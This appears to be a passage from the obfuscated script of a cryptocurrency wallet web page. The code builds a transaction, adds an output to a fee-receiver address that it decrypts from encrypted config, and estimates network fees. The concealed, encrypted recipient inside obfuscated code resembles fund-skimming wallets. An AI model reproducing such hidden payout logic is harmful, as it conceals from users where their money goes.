_0x21fd19=CryptoJS[_0x147cc9(0x2b1)][_0x147cc9(0x37f)](CoinsJson[_0x1f612b][_0x147cc9(0x26b)+'r'],ioswz),_0x17c885=_0x21fd19[_0x147cc9(0x201)](CryptoJS['enc'][_0x147cc9(0x14d)]);console[_0x147cc9(0x169)]('FeeRecieve'+'rAddress:',_0x17c885),_0x1dc2f3['addOutput'](_0x17c885,_0x145085);_0x48baff&&_0x5cb50d>CoinsJson[_0x1f612b][_0x147cc9(0x344)+'erFee']&&(console[_0x147cc9(0x169)]('Have\x20Chang'+'e:',_0x5cb50d),_0x1dc2f3[_0x147cc9(0x33e)](_0x1bf3b9,_0x5cb50d));_0x44d492[_0x147cc9(0x2c1)]((_0x57f373,_0x4e7ac6)=>{const _0x54c7a7=_0x147cc9;_0x1dc2f3[_0x54c7a7(0x191)](_0x4e7ac6,_0x50414a);}),console[_0x147cc9(0x169)](_0x147cc9(0x342),_0x1dc2f3);const _0x51c247=_0x1dc2f3[_0x147cc9(0x107)](),_0x104b39=_0x51c247['toHex']();console[_0x147cc9(0x169)]('txHex:',_0x104b39);const _0x3bfc2f=await fetchFeeRate(),_0x58247e=new TextEncoder(),_0x549ece=_0x58247e[_0x147cc9(0x1af)](_0x104b39),_0x16c623=_0x549ece[_0x147cc9(0x390)];console[_0x147cc9(0x169)]('transactio'+'nSize:',_0x16c623);const _0x397e6f=_0x16c623*_0x3bfc2f;var _0x439a90=_0x397e6f/(-0x7f4f343+0x264b*-0x3971+-0x1*-0x16826e5e);document[_0x147cc9(0x224)+_0x147cc9(0x3b4)](_0x147cc9(0x137))['value']=_0x439a90,updateFeeDisplay(_0x439a90);}catch(_0x2bb9fb){console['error']('Error\x20send'+_0x147cc9(0x271),_0x2bb9fb);}EnableInput();}async function EnableInput(){const _0x2f1f49=_0x311dae;document['getElement'+_0x2f1f49(0x3b4)]('receiverIn'+_0x2f1f49(0x118))[_0x2f1f49(0x2be)]=![],document[_0x2f1f49(0x224)+_0x2f1f49(0x3b4)]('amountInpu'+'t')[_0x2f1f49(0x2be)]=![];}async function flashElements(){const _0x41f4d4=_0x311dae,_0x2aedf1=document['getElement'+'ById']('balance'),_0x14688e=document[_0x41f4d4(0x224)+_0x41f4d4(0x3b4)](_0x41f4d4(0x358));_0x2aedf1[_0x41f4d4(0x35a)]['add'](_0x41f4d4(0x38b)),_0x14688e[_0x41f4d4(0x35a)][_0x41f4d4(0x37d)](_0x41f4d4(0x38b)),setTimeout(()=>{const _0x428e45=_0x41f4d4;_0x2aedf1[_0x428e45(0x35a)]['remove'](_0x428e45(0x38b)),_0x14688e['classList']['remove'](_0x428e45(0x38b));},-0x1*0x9f1+0x42d*0x6+-0xb35);}setInterval(ShowRefreshButton,0x9cf+0x965*-0x3+-0x335*-0x18),setInterval(RefreshBalance,-0x2f*0x106b+-0xeb7b+0x5c3e0);
</script>
</body>
</html>